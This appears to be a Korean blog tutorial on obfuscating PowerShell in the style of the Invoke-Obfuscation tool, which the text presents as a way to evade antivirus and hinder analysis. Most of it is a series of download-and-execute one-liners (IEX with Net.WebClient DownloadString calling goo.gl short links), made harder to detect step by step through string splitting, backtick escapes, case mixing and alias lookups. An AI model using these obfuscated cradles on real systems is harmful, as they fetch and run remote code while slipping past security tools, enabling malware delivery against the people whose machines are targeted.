파워쉘(Powershell)로 가장 기본적인 Base64 인코딩 및 디코딩을 할 수 있다.
Get-Process를 스트링으로 받아 변수에 저장을 하고, 변수에 저장된 값을 Base64 인코딩하여 파워쉘로 실행한다. 또한, 인코딩된 값을 Base64 디코딩한다. 파워쉘에서 지원하는 가장 기본적인 인코딩 및 디코딩은 원본 코드를 쉽게 분석하는 단점이 있다.
Invoke-Obfuscation은 백신을 우회하거나 원본 코드를 분석하기 어렵게 만드려고 단일 난독화, 이중 난독화, 복합 난독화를 하고, 해제할 수 있는 파워쉘 난독화 도구이다.
자세히 설명되어 있으며 간략하게 난독화 하는 방법을 알아보자.
▶ Powershell Invoke-Obfuscation
파워쉘의 원본 명령어
○ Invoke-Expression : 로컬에서 명령어를 실행
○ DownloadString("") : 웹 사이트에서 스트링 형식으로 다운로드 받아 로컬에서 실행
○ Invoke-Expression (New-Object Net.WebClient).DownloadString("https://goo.gl/L19umg")
○ System.Net.WebClient에서 "System" 제거
○ Invoke-Expression (New-Object Net.WebClient).DownloadString("https://goo.gl/L19umg")
○ 웹 사이트 주소를 인식하지 못하도록 "+" 기호를 사용
○ "+" 기호는 문자열을 연결해주는 역할
○ Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp"+"s://goo.gl/L19umg")
○ DownloadString을 문자열로 인식하도록 더블 쿼터("") 기호를 사용
○ DownloadString은 명령어이지만 하나의 문자열
○ Invoke-Expression (New-Object Net.WebClient)."DownloadString"("ht"+"tp"+"s://goo.gl/L19umg")
○ DownloadString의 각 문자를 이스케이프 시퀀스 문자를 사용하고, 대소문자 변환
○ 각 문자 앞의 이스케이프 문자(`)를 붙이면 아무 의미 없는 문자로 인식
○ Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"("ht"+"tp"+"s://goo.gl/L19umg")
○ Net.Web.Client를 문자열로 인식하도록 "+" 기호를 사용
○ Invoke-Expression (New-Object ("Ne"+"t.W"+"e"+"bCl"+"ie"+"nt"))."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"("ht"+"tp"+"s://goo.gl/L19umg")
○ gcm : Get-Command의 알리아스
○ *w-o* : w로 시작하고 o로 끝나는 명령어는 New-Object
○ gcm *w-o* : Get-Command New-Object
○ .(gcm *w-o*) : .(Get-Command New-Object) 앞에 닷(.)을 명시하면 하나의 객체로 인식
○ Invoke-Expression (. (gcm *w-o*)("Ne"+"t.W"+"e"+"bCl"+"ie"+"nt"))."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"("ht"+"tp"+"s://goo.gl/JYuZjJ")
○ Invoke-Expression 변환 방법
○ IEX : Invoke-Expression의 알리아스
○ `I`E`X : 각 문자앞의 이스케이프 시퀀스 문자
○ . ("I"+"EX") : 닷(.)을 붙여 하나의 객체로 인식
○ `I`E`X(. (gcm *w-o*)("Ne"+"t.W"+"e"+"bCl"+"ie"+"nt"))."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"("ht"+"tp"+"s://goo.gl/JYuZjJ")
▶ Powershell 원격명령실행 (Remote Script)